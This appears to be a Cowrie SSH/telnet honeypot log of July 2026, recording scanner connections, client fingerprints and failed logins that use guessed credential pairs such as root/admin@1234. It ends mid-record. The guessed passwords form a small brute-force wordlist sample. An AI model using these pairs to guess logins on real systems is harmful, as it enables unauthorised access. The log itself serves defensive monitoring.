{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:53.710750Z","src_ip":"14.55.144.22","session":"7cdff78dfcec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111111","message":"login attempt [admin/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:54.566769Z","src_ip":"14.55.144.22","session":"7cdff78dfcec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:55.776012Z","src_ip":"14.55.144.22","session":"7cdff78dfcec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":41410,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c57494bb5d8","protocol":"ssh","message":"New connection: 91.92.40.176:41410 (10.17.0.5:22) [session: 4c57494bb5d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:04:45.195572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:04:45.199567Z","src_ip":"91.92.40.176","session":"4c57494bb5d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:04:45.281038Z","src_ip":"91.92.40.176","session":"4c57494bb5d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"qwerty","message":"login attempt [mysql/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:04:45.532330Z","src_ip":"91.92.40.176","session":"4c57494bb5d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:04:46.617116Z","src_ip":"91.92.40.176","session":"4c57494bb5d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.118.107.46","src_port":50858,"dst_ip":"10.17.0.5","dst_port":22,"session":"aacc6550a01d","protocol":"ssh","message":"New connection: 83.118.107.46:50858 (10.17.0.5:22) [session: aacc6550a01d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:04:49.458775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:04:49.462874Z","src_ip":"83.118.107.46","session":"aacc6550a01d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:04:49.727946Z","src_ip":"83.118.107.46","session":"aacc6550a01d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2015","message":"login attempt [root/unitedstates2015] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:04:50.523130Z","src_ip":"83.118.107.46","session":"aacc6550a01d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:04:51.792064Z","src_ip":"83.118.107.46","session":"aacc6550a01d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.92.241.150","src_port":34278,"dst_ip":"10.17.0.5","dst_port":22,"session":"271cb520772f","protocol":"ssh","message":"New connection: 188.92.241.150:34278 (10.17.0.5:22) [session: 271cb520772f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:04:52.157356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:04:52.160566Z","src_ip":"188.92.241.150","session":"271cb520772f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:04:52.294542Z","src_ip":"188.92.241.150","session":"271cb520772f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123465**","message":"login attempt [root/123465**] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:04:52.868061Z","src_ip":"188.92.241.150","session":"271cb520772f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:04:54.005041Z","src_ip":"188.92.241.150","session":"271cb520772f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":47710,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d223d127f53","protocol":"telnet","message":"New connection: 107.6.151.170:47710 (159.203.135.109:23) [session: 9d223d127f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:05:22.684342Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":50108,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e25fffee2e9","protocol":"telnet","message":"New connection: 107.6.151.170:50108 (159.203.135.109:23) [session: 6e25fffee2e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:05:22.688021Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.158","src_port":53488,"dst_ip":"10.17.0.5","dst_port":22,"session":"32dec0f51cd5","protocol":"ssh","message":"New connection: 202.29.225.158:53488 (10.17.0.5:22) [session: 32dec0f51cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:05:50.200315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:05:50.206465Z","src_ip":"202.29.225.158","session":"32dec0f51cd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:05:50.448317Z","src_ip":"202.29.225.158","session":"32dec0f51cd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2015!!","message":"login attempt [root/unitedstates2015!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:05:51.183794Z","src_ip":"202.29.225.158","session":"32dec0f51cd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:05:52.429106Z","src_ip":"202.29.225.158","session":"32dec0f51cd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.884267568588257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:05:54.568521Z","src_ip":"107.6.151.170","session":"9d223d127f53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.92.241.150","src_port":47540,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a183df83c09","protocol":"ssh","message":"New connection: 188.92.241.150:47540 (10.17.0.5:22) [session: 3a183df83c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:06:10.987932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:06:10.991711Z","src_ip":"188.92.241.150","session":"3a183df83c09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:06:11.130134Z","src_ip":"188.92.241.150","session":"3a183df83c09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3edc4rfv","message":"login attempt [root/1qaz2wsx3edc4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:06:11.719102Z","src_ip":"188.92.241.150","session":"3a183df83c09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:06:12.860058Z","src_ip":"188.92.241.150","session":"3a183df83c09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":55521,"dst_ip":"10.17.0.5","dst_port":22,"session":"93e0fde55c45","protocol":"ssh","message":"New connection: 14.55.144.22:55521 (10.17.0.5:22) [session: 93e0fde55c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:06:38.991659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:06:38.995321Z","src_ip":"14.55.144.22","session":"93e0fde55c45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:06:39.196522Z","src_ip":"14.55.144.22","session":"93e0fde55c45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"520520520","message":"login attempt [root/520520520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:06:40.042113Z","src_ip":"14.55.144.22","session":"93e0fde55c45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:06:41.242783Z","src_ip":"14.55.144.22","session":"93e0fde55c45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":14198,"dst_ip":"159.203.135.109","dst_port":22,"session":"bed719294186","protocol":"ssh","message":"New connection: 178.128.39.166:14198 (159.203.135.109:22) [session: bed719294186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:06:48.160342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:06:48.266689Z","src_ip":"178.128.39.166","session":"bed719294186","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:06:48.269154Z","src_ip":"178.128.39.166","session":"bed719294186","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@1234","message":"login attempt [root/admin@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:06:48.668243Z","src_ip":"178.128.39.166","session":"bed719294186","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:06:49.769102Z","src_ip":"178.128.39.166","session":"bed719294186","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"110.164.193.196","src_port":36888,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c94015f672b","protocol":"ssh","message":"New connection: 110.164.193.196:36888 (10.17.0.5:22) [session: 2c94015f672b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:06:49.775682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:06:49.779650Z","src_ip":"110.164.193.196","session":"2c94015f672b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01